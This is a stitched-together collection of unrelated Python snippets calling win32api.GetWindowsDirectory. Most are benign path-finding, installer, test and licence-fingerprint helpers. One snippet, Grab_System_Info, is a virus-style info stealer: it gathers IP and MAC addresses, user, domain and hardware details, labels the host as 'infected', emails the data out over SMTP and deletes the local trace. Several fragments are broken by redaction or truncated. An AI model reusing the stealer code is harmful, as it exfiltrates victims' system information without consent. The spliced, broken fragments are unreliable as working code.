def guess_filepath(filepath, name=''): try: if filepath: if os.path.exists(filepath): name=os.path.basename(filepath) else: for i in ['system32', 'system32\\drivers']: windowsdir=win32api.GetWindowsDirectory() newfilepath=os.path.join(windowsdir, i, filepath) if os.path.exists(newfilepath): filepath=newfilepath name=os.path.basename(filepath) break elif name: newfilepath=os.path.join(windowsdir, i, name) if os.path.exists(newfilepath): filepath=newfilepath break elif name: windowsdir=win32api.GetWindowsDirectory() newfilepath=os.path.join(g_system32dir, name) if os.path.exists(newfilepath): filepath=newfilepath except Exception, err: print traceback.format_exc()
def revise_filepath(fullpath=''): #fullpath="\\\\??\\\\c:\\tools\\safe\\xu.sys" #fullpath='\\SystemRoot\\tools\\safe\\xu.sys' #fullpath='\\WINDOWS\\pro \\1e2e.exe' #fullpath='\\WINNT\\pro \\1e2e.exe' #fullpath='\\device\\harddiskvolume1\\aaaa\\1.exe' fullpath=fullpath.lower() if fullpath.startswith('\\??\\'): fullpath=fullpath[len('\\??\\'):] return fullpath elif fullpath.startswith('\\systemroot\\'): fullpath=os.path.join(os.getenv('systemroot'), fullpath[len('\\systemroot\\'):]) return fullpath elif fullpath.startswith('%systemroot%\\'): fullpath=os.path.join(os.getenv('systemroot'), fullpath[len('%systemroot%\\'):]) return fullpath elif fullpath.startswith('\\device\\harddiskvolume'): s=win32api.GetLogicalDriveStrings() l=s.split('\x00') for i in l: if i!='': name=win32file.QueryDosDevice(i.rstrip('\\')).strip('\x00').lower() if fullpath.startswith(name): fullpath=fullpath.replace(name, '') fullpath=os.path.join(i, fullpath) break return fullpath elif fullpath.startswith('\\windows\\'): windowsdir=win32api.GetWindowsDirectory() fullpath=os.path.join(windowsdir, fullpath[len('\\windows\\'):]) return fullpath elif fullpath.startswith('\\winnt\\'): windowsdir=win32api.GetWindowsDirectory() fullpath=os.path.join(windowsdir, fullpath[len('\\winnt\\'):]) return fullpath elif fullpath.startswith('\\'): s=win32api.GetLogicalDriveStrings() l=s.split('\x00') for i in l: if i!='': drivername=i.rstrip('\\') newfullpath=os.path.join(drivername, fullpath) if os.path.exists(newfullpath): return newfullpath return fullpath else: return fullpath
def main(): enable_debug() pids = win32process.EnumProcesses() print "%-24s %-6s %-6s" % ("Process", "Pid", "Matched") for pid in pids: (base, size, path) = get_proc_params(pid) if not base or not size or not path: continue if path.startswith("\\??\\"): path = path[4:] elif path.startswith("\\SystemRoot"): path = path.replace("\\SystemRoot", win32api.GetWindowsDirectory()) if not os.path.isfile(path): continue dmp_file = dump_process(pid, base, size) if not dmp_file or not os.path.isfile(dmp_file): continue flag = '' percent = compare_hash(path, dmp_file) if percent <= threshold: flag = 'possible packed exe' print "%-24s %-6d %-2s%% %-24s" % (os.path.basename(path), pid, percent, flag)
def createBrowserList(): winDrive = w32.GetWindowsDirectory().split(':')[0] conn = sql.connect('Path.db') conn.execute( '''CREATE TABLE IF NOT EXISTS DEFBROWSER(NAME VARCHAR(200),PATH VARCAR(1000),DEF INT);''' ) browsers = [ [ 'Chrome', winDrive + ':\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe' ], [ 'Firefox', winDrive + ':\\Program Files\\Mozilla Firefox\\firefox.exe' ], [ 'Opera', winDrive + ':\\Users\\' + os.getenv('username') + '\\AppData\\Local\\Programs\\Opera\\Opera.exe' ], ['Opera', winDrive + ':\\Program Files\\Opera'], [ 'Microsoft Edge', winDrive + ':\\Windows\\SystemApps\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\MicrosoftEdge.exe' ] ] for i in range(len(browsers)): conn.execute('''INSERT INTO DEFBROWSER VALUES(?,?,?)''', (browsers[i][0], browsers[i][1], '0')) print("Created Browser List") conn.commit()
def install(self): if not os.path.exists(self.install_dir): log.info('creating {}'.format(self.install_dir)) os.makedirs(self.install_dir) self.copy_file(os.path.join('../', 'tests', self.module_name), os.path.join(self.install_dir, self.module_name)) # When compiled with Microsoft Visual C++, the JSBSim Python module is # linked with the dynamically linked library msvcp140.dll which is not a # standard library on Windows. So this code allows msvcp140.dll to be # shipped with the Python module. if compiler.compiler_type == 'msvc': import win32api path = win32api.GetEnvironmentVariable('PATH') # Use a set below to remove duplication. dirs = set([win32api.GetSystemDirectory(), win32api.GetWindowsDirectory()] + path.split(';')) for d in dirs: libpath = os.path.join(d, 'msvcp140.dll') if os.path.exists(libpath): self.copy_file(libpath, os.path.join(self.install_dir, 'msvcp140.dll')) break
def _get_dll_search_path(self): """ Returns a list of paths for which the system will search for DLLs Per MSDN the DLL search order is as follows: 1. The directory from which the application loaded. 2. The system directory. Use the GetSystemDirectory function to get the path of this directory. 3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. 4. The Windows directory. Use the GetWindowsDirectory function to get the path of this directory. 5. The current directory. 6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the App Paths registry key. The App Paths key is not used when computing the DLL search path. Note: any DLLS in the KnownDLLs registry key will bypass he search order """ process_dir = os.path.dirname(self._processpath) systemdir = win32api.GetSystemDirectory() #Note: 16 bit System doesn't exist on x64 arch so I'm not checking this. If someone wants to add this feel free to PR. windir = win32api.GetWindowsDirectory() current_dir = os.getcwd() pathdirs = os.environ["PATH"].split(';') pathdirs = filter(lambda path: path != '' and not path.isspace(), pathdirs) #remove empty paths dirs = [process_dir, systemdir, windir, current_dir] dirs.extend(pathdirs) return dirs
def which_file(fname): """prints paths for fname where fname can be found, in case of .dll loads it""" files = [] path = win32api.GetEnvironmentVariable('PATH') # try paths as described in MSDN dirs = [ os.getcwd(), win32api.GetSystemDirectory(), win32api.GetWindowsDirectory() ] + path.split(';') dirs_norm = [] dirs_l = [] for d in dirs: dn = d.lower() if dn not in dirs_l: dirs_l.append(dn) dirs_norm.append(d) for d in dirs_norm: fname2 = os.path.join(d, fname) if os.path.exists(fname2): if fname2 not in files: files.append(fname2) if files: print('\n'.join([get_file_info(f) for f in files])) h = 0 if fname.lower().endswith('.dll'): print('\ttrying to load "%s" ...' % (fname)) try: h = win32api.LoadLibrary(fname) if h: dll_name = win32api.GetModuleFileName(h) print('\t%s loaded' % (dll_name)) except: print('\tCannot load "%s" !!!' % (fname))
def getnames(): hostname = win32api.GetComputerName() user = win32api.GetUserName() location = win32api.GetWindowsDirectory() version = win32api.GetVersion() print "Hostname: " + hostname print "Username: "******"Windows Directory Location: " + location print version
def GetTempDir(self): """ Get the path to the system temp directory. """ if self.tempDir == None: winPath = win32api.GetWindowsDirectory() self.tempDir = os.path.join(winPath, "TEMP") return self.tempDir
def Grab_System_Info(): # ------------------- Declarations ------------------ # Sys_Info_File = 'System_Info @ [' + win32api.GetComputerName( ) + ']@' + strftime("[(%a %d %b %Y) (%H %M %S %p)]") + '.txt' Get = [ 'External_IP: ' + urlopen('http://automation.whatismyip.com/n09230945.asp').read(), 'Internal_IP: ' + socket.gethostbyname(socket.gethostname()), 'Operating_System: ' + platform.system() + ' ' + platform.release() + ' ' + sys.getwindowsversion()[4], 'Windows_Architecture: ' + platform.version(), 'Architecture: ' + str(platform.architecture()[0]), 'Domain_Name: ' + win32api.GetDomainName(), 'Computer_Name: ' + win32api.GetComputerName(), 'User_Name: ' + win32api.GetUserName(), 'Processor_Name:' + platform.processor(), 'Processor_Architecture: ' + os.getenv('PROCESSOR_ARCHITECTURE'), 'Processor\'s_Cores: ' + os.getenv('NUMBER_OF_PROCESSORS'), 'Windows_Directory: ' + win32api.GetWindowsDirectory(), 'System_Directory: ' + win32api.GetSystemDirectory() ] # ------- Define Function to get MAC Address -------- # def Get_MAC(): for line in os.popen('ipconfig /all'): if line.lstrip().startswith('Physical Address'): mac = line.split(':')[1].strip().replace('-', ':') f.write('\n *- Mac Address: ' + mac) # ----- Define Function to Send Sys_Info_File ------- # def Send_File(): File_To_Send = open(Sys_Info_File, 'rb') MSG = MIMEText(File_To_Send.read()) File_To_Send.close() MSG['Subject'] = Sys_Info_File MSG['From'] = sender MSG['To'] = To server = smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(sender, password) server.sendmail(sender, [To], MSG.as_string()) server.quit # ----------- Create System Info File --------------- # f = open(Sys_Info_File, 'w') f = open(Sys_Info_File, 'a') f.write(win32api.GetComputerName() + ' was infected by: ' + virusname + '.') f.write('\n -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-\n' + Date_Time) # ------------- Start Grabbing Info ----------------- # Get_MAC() for i in Get: f.write('\n *-' + i) f.close() Send_File() # -------- Delete the System Information File ------- # os.remove(Sys_Info_File)
def get_windows_dir(): """Return the Windows directory e.g. C:\\Windows""" try: import win32api except ImportError: windir = os.getenv('SystemRoot', os.getenv('WINDIR')) else: windir = win32api.GetWindowsDirectory() if not windir: raise SystemExit("Error: Can not determine your Windows directory") return windir
def test_get_windows_directory(self): # given expected = win32api.GetWindowsDirectory() # when result = self.module.GetWindowsDirectory() # then # note: pywin32 returns str on py27, unicode (which is str) on py3 self.assertIsInstance(result, str) self.assertEqual(result.lower(), r"c:\windows") self.assertEqual(result, expected)
def GetTestVideoModule(): global videoControlModule, videoControlFileName win32ui.DoWaitCursor(1) videoControlModule = gencache.EnsureModule("{05589FA0-C356-11CE-BF01-00AA0055595A}", 0, 2, 0) win32ui.DoWaitCursor(0) if videoControlModule is None: return None fnames = glob.glob(os.path.join(win32api.GetWindowsDirectory(), "*.avi")) if not fnames: print "No AVI files available in system directory" return None videoControlFileName = fnames[0] return videoControlModule
def install(path, objects): if not path: mb.showwarning("Внимение", "Вы не выбрали путь!") return if os.path.exists(path): try: path += "/Lab2" if not os.path.exists(path): os.mkdir(path) if not os.path.isfile(path + "/main.py"): answer = mb.askyesno(title="Вопрос", message="Установка может занять некоторое время, продолжить?".format(path)) if answer: for item in objects: item.destroy() Repo.clone_from(url='http://*****:*****@github.com/KurtOleh/Lab.git', to_path=path) signature = os.getlogin() + win32api.GetComputerName() + win32api.GetWindowsDirectory() + win32api.GetSystemDirectory() signature += "{}{}{}".format(win32api.GetSystemMetrics(0), win32api.GetSystemMetrics(7), win32api.GlobalMemoryStatus()['TotalPhys']) sha = hashlib.sha256(signature.encode()).hexdigest() try: key = winreg.CreateKey(winreg.HKEY_CURRENT_USER, "Software\\KurtOlehHorobetsAngelina") except OSError: key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, "Software\\KurtOlehHorobetsAngelina", 0, winreg.KEY_ALL_ACCESS) winreg.SetValueEx(key, "Signature", 0, winreg.REG_SZ, sha) key.Close() win.title("Успешно") Label(win, text="Программа успешно установлена!", font=("Arial 32", 12)).pack(pady=15) button = Button(win, text="Завершить", font=("Arial 32", 11), width=10, relief=FLAT, background="#34506b", foreground="#ccc", command=quit_app()) button.place(x=318, y=130) else: win.destroy() else: mb.showerror("Ошибка", "Программа уже установлена!") win.destroy() except (PermissionError, SystemExit): mb.showerror("Ошибка", "Отказано в доступе, выберете другой путь!") else: mb.showwarning("Внимание", "Некорректный путь. Выберете другой!")
def get_dll_search_path(): """Generate a list of all the places where the pythonNN.dll files might be stored. This roughly duplicates the standard win32 rules. There may be a lot of duplicates, but this routine attempts to be comprehensive.""" # searchlist contains full paths searchlist = [] # check with win32api, if present if HAVE_WIN32_API: # p will be e.g. c:\windows\system p = win32api.GetSystemDirectory() searchlist.append(p) # on NT, p will contain SYSTEM32, so add SYSTEM as well p = os.path.join(os.path.dirname(p), 'SYSTEM') searchlist.append(p) # add, e.g. c:\windows searchlist.append( win32api.GetWindowsDirectory() ) # generate some root paths, then add SYSTEM & SYSTEM32 to each rootlist = [] # check the registry path = get_winroot_from_registry() if path is not None: rootlist.append( path ) # add PATH directories rootlist.extend( string.split( os.environ['PATH'], os.pathsep )) # now, for each, add SYSTEM & SYSTEM32, in the hope # that one of the paths is, e.g. c:\windows for path in rootlist: searchlist.append( path ) searchlist.append( os.path.join(path,'SYSTEM') ) searchlist.append( os.path.join(path,'SYSTEM32') ) # add the .exe directory searchlist.append( os.path.dirname( os.path.abspath( sys.executable ))) # add the cwd searchlist.append( os.getcwd() ) return searchlist
def WindowsCompletePath(): path = win32api.GetEnvironmentVariable('PATH') dirs = [ os.getcwd(), win32api.GetSystemDirectory(), win32api.GetWindowsDirectory() ] + path.split(';') dirs_norm = [] dirs_l = [] for aDir in dirs: aDirLower = aDir.lower() if aDirLower not in dirs_l: dirs_l.append(aDirLower) dirs_norm.append(aDir) return dirs_norm
def get_system_path(): """Return the path that Windows will search for dlls.""" _bpath = [] if is_win: try: import win32api except ImportError: logger.warn("Cannot determine your Windows or System directories") logger.warn("Please add them to your PATH if .dlls are not found") logger.warn("or install http://sourceforge.net/projects/pywin32/") else: sysdir = win32api.GetSystemDirectory() sysdir2 = os.path.normpath(os.path.join(sysdir, '..', 'SYSTEM')) windir = win32api.GetWindowsDirectory() _bpath = [sysdir, sysdir2, windir] _bpath.extend(os.environ.get('PATH', '').split(os.pathsep)) return _bpath
def WindowsCompletePath(): """Try paths as described in MSDN""" path = win32api.GetEnvironmentVariable('PATH') dirs = [ os.getcwd(), win32api.GetSystemDirectory(), win32api.GetWindowsDirectory() ] + path.split(';') dirs_norm = [] dirs_l = [] for a_dir in dirs: a_dir_lower = a_dir.lower() if a_dir_lower not in dirs_l: dirs_l.append(a_dir_lower) dirs_norm.append(a_dir) return dirs_norm
def __init__(self, grph): self.grph = grph self.path = win32api.GetEnvironmentVariable('PATH') # try paths as described in MSDN self.dirs = [ os.getcwd(), win32api.GetSystemDirectory(), win32api.GetWindowsDirectory() ] + self.path.split(';') self.dirs_norm = [] dirs_l = [] for aDir in self.dirs: aDirLower = aDir.lower() if aDirLower not in dirs_l: dirs_l.append(aDirLower) self.dirs_norm.append(aDir)
def collecting_computer_information(): user = "******" + win_api.GetUserName() computer_name = "Имя компьютера: " + win_api.GetComputerName() windows_directory = "Путь к папке OS Windows: " + win_api.GetWindowsDirectory( ) system_directory = "Путь к папке с системными файлами: " + win_api.GetSystemDirectory( ) volume_label = "Метка Тома: " + str(win_api.GetVolumeInformation("E:\\")) memory = "Обьем Памяти:" + str(win_api.GetDiskFreeSpace()) screen_height = "Высота экрана: " + str(win_api.GetSystemMetrics(0)) keyboard_type = "Тип и подтип клавиатуры: " + str( win_api.GetKeyboardLayout()) all_info = " ".join([ user, computer_name, windows_directory, system_directory, volume_label, memory, screen_height, keyboard_type ]) all_info = sha512(all_info.encode()) return all_info.hexdigest()
def getWindowsPath(): """Return the path that Windows will search for dlls.""" global _bpath if _bpath is None: _bpath = [] if iswin: try: import win32api except ImportError: print "W: Cannot determine your Windows or System directories" print "W: Please add them to your PATH if .dlls are not found" print "W: or install starship.python.net/skippy/win32/Downloads.html" else: sysdir = win32api.GetSystemDirectory() sysdir2 = os.path.join(sysdir, '../SYSTEM') windir = win32api.GetWindowsDirectory() _bpath = [sysdir, sysdir2, windir] _bpath.extend(string.split(os.environ.get('PATH', ''), os.pathsep)) return _bpath
def getWindowsPath(): """Return the path that Windows will search for dlls.""" global _bpath if _bpath is None: _bpath = [] if iswin: try: import win32api except ImportError: print "W: Cannot determine your Windows or System directories" print "W: Please add them to your PATH if .dlls are not found" print "W: or install http://sourceforge.net/projects/pywin32/" else: sysdir = win32api.GetSystemDirectory() sysdir2 = os.path.normpath(os.path.join( sysdir, '..', 'SYSTEM')) windir = win32api.GetWindowsDirectory() _bpath = [sysdir, sysdir2, windir] _bpath.extend(string.split(os.environ.get('PATH', ''), os.pathsep)) return _bpath
def getWindowsPath(): """Return the path that Windows will search for dlls.""" global _bpath if _bpath is None: _bpath = [] if sys.platform == 'win32': try: import win32api except ImportError: print "Warning: Cannot determine your Windows or System directories because pywin32 is not installed." print "Warning: Either install it from http://sourceforge.net/projects/pywin32/ or" print "Warning: add them to your PATH if .dlls are not found." else: sysdir = win32api.GetSystemDirectory() sysdir2 = os.path.join(sysdir, '../SYSTEM') windir = win32api.GetWindowsDirectory() _bpath = [sysdir, sysdir2, windir] _bpath.extend(os.environ.get('PATH', '').split(os.pathsep)) return _bpath
def look_for(fname): """prints paths for fname where fname can be found""" files = [] path = win32api.GetEnvironmentVariable('PATH') # try paths as described in MSDN dirs = [os.getcwd(), win32api.GetSystemDirectory(), win32api.GetWindowsDirectory()] + path.split(';') for d in dirs: fname2 = os.path.join(d, fname) if os.path.exists(fname2): if not fname2 in files: files.append(fname2) if len(files) > 1: print '===== SHARED LIBRARY WARNING: There is more than one: ' + fname + ' on the search path!! =====' if files: #print '\n'.join([f for f in files]) #Return the first found path return files[0] else: return None
# Try to import the appengine code from the system path. try: from google.appengine.api import apiproxy_stub_map except ImportError, e: # Not on the system path. Build a list of alternative paths where it may be. # First look within the project for a local copy, then look for where the Mac # OS SDK installs it. paths = [ os.path.join(PARENT_DIR, '.google_appengine'), os.path.join(PARENT_DIR, 'google_appengine'), '/usr/local/google_appengine' ] # Then if on windows, look for where the Windows SDK installed it. try: import win32api ROOT_PATH = os.path.dirname(win32api.GetWindowsDirectory()) paths.append( os.path.join(ROOT_PATH, 'Program Files', 'Google', 'google_appengine')) except ImportError, e: # Not windows. pass # Loop through all possible paths and look for the SDK dir. SDK_PATH = None for sdk_path in paths: if os.path.exists(sdk_path): SDK_PATH = sdk_path break if SDK_PATH is None: # The SDK could not be found in any known location. sys.stderr.write("The Google App Engine SDK could not be found!\n")
def demo(): import glob winDir = win32api.GetWindowsDirectory() for fileName in glob.glob1(winDir, '*.bmp')[:2]: bitmapTemplate.OpenDocumentFile(os.path.join(winDir, fileName))
def _get_winpath(): return win32api.GetWindowsDirectory()
while i < len(fnms): fnm = os.path.join(dir, fnms[i]) if os.path.isdir(fnm): if ispackage(fnm): pkgdirs.append(fnm) i = i + 1 else: del fnms[i] else: i = i + 1 if _bpath is None: try: import win32api except ImportError: print "Cannot determine your Windows or System directories" print "Please add them to your PATH if .dlls are not found" _bpath = [] else: sysdir = win32api.GetSystemDirectory() sysdir2 = os.path.join(sysdir, '../SYSTEM') windir = win32api.GetWindowsDirectory() _bpath = [sysdir, sysdir2, windir] _bpath.extend(string.split(os.environ.get('PATH', ''), ';')) if _ppath is None: _ppath = expand(sys.path) def getpath(): """Return the path that Windows will search for dlls.""" return _bpath
print(api.GetFullPathName('.')) print(api.GetLocalTime()) print(api.GetLogicalDriveStrings().replace('\x00', ' ')) print(api.GetLogicalDrives()) print(api.GetLongPathName('C:')) print(api.GetModuleFileName(0)) print(api.GetNativeSystemInfo()) print(hex(api.GetSysColor(con.COLOR_WINDOW))) print(api.GetSystemDirectory()) print(api.GetSystemInfo()) print(api.GetSystemMetrics(con.SM_CXSCREEN)) print(api.GetSystemTime()) print(api.GetTickCount()) # print(api.GetTimeZoneInformation()) print(api.GetUserDefaultLangID()) print(api.GetUserName()) print(api.GetVersion()) print(api.GetVolumeInformation('C:')) print(api.GetWindowsDirectory()) print(api.GlobalMemoryStatus()) print(api.MessageBeep()) print(api.MessageBox(0, 'hello', 'world', con.MB_OK)) size = api.RegQueryInfoKey(con.HKEY_LOCAL_MACHINE) print(size) for i in range(size[0]): print(api.RegEnumKey(con.HKEY_LOCAL_MACHINE, i)) try: print(api.SearchPath('.', 'win32con.txt')) except: print('error') print(api.WinExec('Notepad'))
def create(): win.title("Лабораторная №1") menubar = Menu(win) win.config(menu=menubar) info = Menu(menubar, tearoff=0) menubar.add_cascade(label="Справка", menu=info) info.add_command(label="О программе", command=information) win_auth() win.mainloop() if __name__ == "__main__": try: signature = os.getlogin() + win32api.GetComputerName( ) + win32api.GetWindowsDirectory() + win32api.GetSystemDirectory() signature += "{}{}{}".format( win32api.GetSystemMetrics(0), win32api.GetSystemMetrics(7), win32api.GlobalMemoryStatus()['TotalPhys']) sha = hashlib.sha256(signature.encode()).hexdigest() key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, "Software\\KurtOlehHorobetsAngelina", 0, winreg.KEY_ALL_ACCESS) get = winreg.QueryValueEx(key, "Signature") if sha != get[0]: win.withdraw() mb.showerror("Ошибка лицензии!", "Переустановите программу!") win.destroy() else: create() except FileNotFoundError: